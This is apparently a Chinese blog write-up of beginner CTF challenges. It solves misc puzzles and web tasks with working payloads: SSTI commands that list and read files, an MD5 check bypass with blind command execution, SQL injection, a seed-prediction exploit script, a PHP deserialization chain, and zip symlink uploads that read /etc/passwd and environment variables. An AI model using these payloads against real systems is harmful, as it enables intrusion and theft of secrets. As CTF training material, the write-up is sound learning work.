开学时的 CBCTF
的简单题目 WriteUp
同样是入门题目
misc
流量分析
题目描述
和往常一样,管理员悠闲地进行着日常的网站管理,然而狡猾的大黑阔却神不知鬼不觉地监听了一切。。。
flag格式:CBCTF{管理员的密码}
题解
下载附件,为其添加后缀名,使用 wireshark 打开
根据题目描述,可能涉及管理员登陆行为,查找 post 协议
查看具体的数据请求
发现 password,得到 flag
CBCTF{ffb7567a1d4f4abdffdb54e022f8facd}
Wordplay
题目描述
I like wordplay very very very muchhhhhh
Hint
ps:你可能会用到这个:https://yuanfux.github.io/zero-width-web/
题解
下载附件,解压得到一个 docx
阅读发现存在几种不同的格式
红色,黑色,黄色
黑体,等线
1 倍行间距,1.5 倍行间距
猜测黄色不参与有关颜色的编码,分别以同一属性的不同格式作为 0 1,得到二进制字符串
实在懒得重新做,flag 不写了,思路大致如此
XOR?
题目描述
嗨害嗨!flag已经被我重重加密了
题解
很明显,要异或,打开附件,得到文件
1 2 3 4 5 6 7 8 9 import flagimport base64mw = "" for i in range (len (flag)): mw = mw + ord (flag[i]) ^ i b64 = base64.b64encode(mw.encode('utf-8' )).decode("utf-8" ) print (b64)
先 base64 解码
102 109 99 100 127 92 105 114 87 98 100 59 123 82 86 96 66 48 51 110
由异或性质得到原文字
a ^ b ^ b = a
1 2 3 mw = "102 109 99 100 127 92 105 114 87 98 100 59 123 82 86 96 66 48 51 110" .split() for i in range (len (mw)): print (chr (int (mw[i]) ^ i), end='' )
flag{You_kn0w_XoR!!}
Web
SSTI
题解
根据题目,得知是一道 ssti,并且基于 python
获取所有的全局变量
3. 发现其中存在 os
模块,可执行系统命令
4. 利用 popen 获取顶级目录内容,发现 flag 字样
1 {{url_for.__globals__['os' ].popen('ls ../../..' ).read()}}
5. cat 读取,得到 flag
1 {{url_for.__globals__['os' ].popen('cat ../../../flag' ).read()}}
CBCTF{bf9a0577-90bb-4121-a91e-4d936581b9e3}
flappybird
题解
先玩两下,抓包,发现需要 10000 分
存在两个参数:score checkcode
checkcode 是怎么产生的,查看网页源代码,对其中 js 代码进行格式化,在 fb.min.js 中发现算法
根据代码构造 10000 的 checkcode
md5(10000cb_0rays_training)
ca9c668fbb6ecb3132945cb68dd4058d (32 位)
进行改包,得到 flag
cbctf{god_Of_flAppy_bird_0rays_yyds}
Warm_up
Hint
靶机不出网
题解
打开发现是 php 代码
有两个判断
if (isset($_GET['md5']))
if ($md5==md5($md5)
分析:让 MD5 与自身相等,只需传入一个 0e 开头并且 MD5 也为 0e 开头的值
0e215962017
成功绕过,接下来可以直接通过 post 给 cmd 传值
1 2 3 4 $cmd = $_POST ['cmd' ];shell_exec($cmd ); // 此时程序会执行命令,但是不会有回显,并且根据 hint,不能通过反弹 shell 获取// 此时我们尝试将回显写入本地文件,并访问文件获取值
查看顶层目录
cmd=ls …/…/… > test.txt
发现 flag,读取,得到 flag
CBCTF{2add1805-0995-4af3-a500-7ea22d792486}
随便注
题解
访问,明显需要 sql注入,尝试 1'
显示表名
显示 columns
1 show cloums from `no_flag_here`
读取值
select * from no_flag_here;#
CBCTF{3ee289a7-d9ba-4fdd-84ad-685130cc27d4}
give_me_flag
题目描述
鼠标右键好像不管用了,F12 ?emmm。。。。
题解
F12 无法使用,鼠标右键被禁用,直接查看源代码
view-source:https://xxxx
查看代码,发现类似 flag 的字段
像是凯撒加密过的,爆破得 flag
flag{w7w_in2pEct_8t_g7od_j7B}
机器人也许知道
题目描述
终于完工啦,草草收工的1manity似乎忘了点什么?到底是什么呢?
题解
访问,发现 php 代码
需要关注的地方
但是我们不知道 root 账户和密码,结合标题,尝试访问 /robots.txt
只需绕过判断和修改就OK
我们让 username 为空,让 password 包含 username 和重复的 password
/?username=&password=1manity123123456456
得到 flag
CBCTF{Y0u4re_0ne_0f_tHe_Be3t_FresHmEn}
ezphp
题解
阅读代码
1 2 3 4 5 6 7 8 9 10 <?php error_reporting(0 ); highlight_file(__FILE__ ); mt_srand(time()); $a = array ("system" ,$_GET ['cmd' ]);for ($i =0 ;$i <=10000 ;$i ++){ array_push($a ,"Ctfer" ); } shuffle($a ); $a [$_GET ['b' ]]($a [$_GET ['c' ]]);
大致意思,在列表中放入 ‘system’ 和 执行的命令,再插入 10000 条 ‘Ctfer’,然后打乱顺序,我们需要猜测 system 和 cmd 的位置来执行命令
其中 mt_srand(time());
设定了种子,在相同种子时,顺序是一样的,所以只需提前几秒获取位置即可执行 命令
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php mt_srand(time() + 10 ); $a = array ("system" ,"cat ../../../flag" ); for ($i =0 ;$i <=10000 ;$i ++){ array_push($a ,"Ctfer" ); } shuffle($a ); var_dump($a ); echo array_search("system" , $a );echo ' ' ;echo array_search("cat ../../../flag" , $a );?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import osimport requestsimport timefrom base64 import b64encodea = 'cat ../../../flag' b = input ('b: ' ) c = input ('c: ' ) url = f"http://f4272e32-1f8c-4a31-91a7-f4b4c4fb258e.training.0rays.club:8001/?cmd={a} &b={b} &c={c} " text = b64encode(requests.get(url).text.encode()) while True : response = requests.get(url) if b64encode(requests.get(url).text.encode()) != text and response.status_code == 200 : print (response.text) with open (f"{b} .html" , 'w' ) as w: w.write(response.text) break
有时候一次可能得不到结果,多试几次
我不会 php,所以网络请求部分用 python 来写 对不起代码很丑
flag
ezpop
题解
感谢学长们的大力支持与耐心解答
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class AAA { public $s ; public $a ; public function __toString ( ) { $p = $this ->a; return $this ->s->$p ; } function getFlag ($flag ) { return $flag ; } } class BBB { private $b ; public function __get ($name ) { if (preg_match("/Flag/i" , $name )) { include ($name ($this ->b)); } return '<br/>you can get it!!' ; } } class CCC { public $c ; public function __destruct ( ) { echo $this ->c; } } if (isset ($_GET ['cbctf' ])) { $a = unserialize($_GET ['cbctf' ]); throw new Exception ("let's go!!!" ); } else { highlight_file(__FILE__ ); }
目的
利用 GC回收机制绕过 new Expection
触发 __destruct(困我很久
按顺序触发一系列魔法方法
坑,在 EXP 中一定要用 __construct 赋值类属性
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <?php class AAA { public $s ; public $a ; public function __construct ($s , $a ) { $this ->s = $s ; $this ->a = $a ; } } class BBB { private $b ; public function __construct ($b ) { $this ->b = $b ; } } class CCC { public $c ; public function __construct ($c ) { $this ->c = $c ; } } $bbb = new BBB("php://filter/read=convert.base64-encode/resource=./flag.php" );$aaa = new AAA($bbb , "AAA::getFlag" );$ccc = new CCC($aaa );$se = array (0 =>$ccc ,1 =>NULL );$sera = serialize($se );$sera = str_replace('1;N' , '0;N' , $sera );echo urlencode($sera );
使用伪协议,flag 为一句赋值语句,如果直接读取 flag.php 将无法显示(我也是后来才知道,所以以后尽量直接上 php://filter
urlencode 因为存在 private 属性,要将 %00 等字符也输出
str_replace 为触发 __destruct
flag
CBCTF{Th1S_1S_1Z_P0p__FuN_114514_G0d}
zip_helper
题目描述
pankas写了个在线解压工具
应该没什么漏洞吧
题解
没思路,问学长,软链接
查看 etc/passwd
ln -s /etc/passwd passwd
zip --symlinks passwd.zip passwd
上传
没东西,查看系统环境变量
ln -s /proc/self/environ env
zip --symlinks env.zip env
发现flag
CBCTF{270b19fa-1ae5-49bb-aee5-190f841ee442}
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import hashlibimport osimport randomfrom flask import Flask, requestapp = Flask(__name__) @app.route('/' ) def index (): return """<html> <head> <meta charset="utf-8"> <title>zip-helper</title> </head> <body> <form action="/upload" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>""" def allowed_file (filename ): return '.' in filename and filename.rsplit('.' , 1 )[1 ].lower() in ('zip' ) @app.route('/upload' , methods=['GET' , 'POST' ] ) def read_flag (): if request.method == 'POST' : if 'file' not in request.files: return "No file part" file = request.files['file' ] if file.filename == '' : return "No selected file" if file and allowed_file(file.filename): os.system("rm -rf uploads/*" ) filename = hashlib.sha1(file.filename.encode(encoding='utf-8' )).hexdigest() rand = hashlib.sha1(random.randbytes(256 )).hexdigest() file.save(f'uploads/{filename} ' ) dir = f"uploads/{rand} " os.system(f'unzip -q uploads/{filename} -d {dir } ' ) readResult = "" for root,dirs,files in os.walk(dir ): for file in files: with open (os.path.join(root,file), 'r' ) as f: readResult += f.read() return readResult else : return "<h1>仅支持上传 .zip 文件</h1>" if request.method == 'GET' : return "go!" if __name__ == '__main__' : app.run(port=80 , host='0.0.0.0' )
where is flag?gogogo
题解
server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package mainimport ( "encoding/json" "fmt" "io" "log" "net/http" "os" "strings" ) type importantStuff struct { WhereIsFlag string `json:"where_is_flag"` } func main () { flag := os.Getenv("FLAG" ) http.HandleFunc("/" , func (w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodGet: fmt.Fprint(w, "<h1>Hello, CTFer!!</h1>" ) return case http.MethodPost: body, err := io.ReadAll(r.Body) if err != nil { fmt.Fprintf(w, "Something went wrong" ) return } if strings.Contains(string (body), "where_is_flag" ) || strings.Contains(string (body), "\\" ) { fmt.Fprintf(w, "Something went wrong" ) return } var whereIsFlag importantStuff err = json.Unmarshal(body, &whereIsFlag) if err != nil { fmt.Fprintf(w, "Something went wrong" ) return } if whereIsFlag.WhereIsFlag == "here_is_flag" { fmt.Fprintf(w, "Congrats! Here is the flag: %s" , flag) return } else { fmt.Fprintf(w, "Something went wrong" ) return } default : fmt.Fprint(w, "Method not allowed" ) return } }) log.Fatal(http.ListenAndServe(":80" , nil )) }
payload
{“Where_is_flag”:“here_is_flag”}
post
flag
CBCTF{7e344780-3543-4872-8ae5-d460bb5c828c}
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !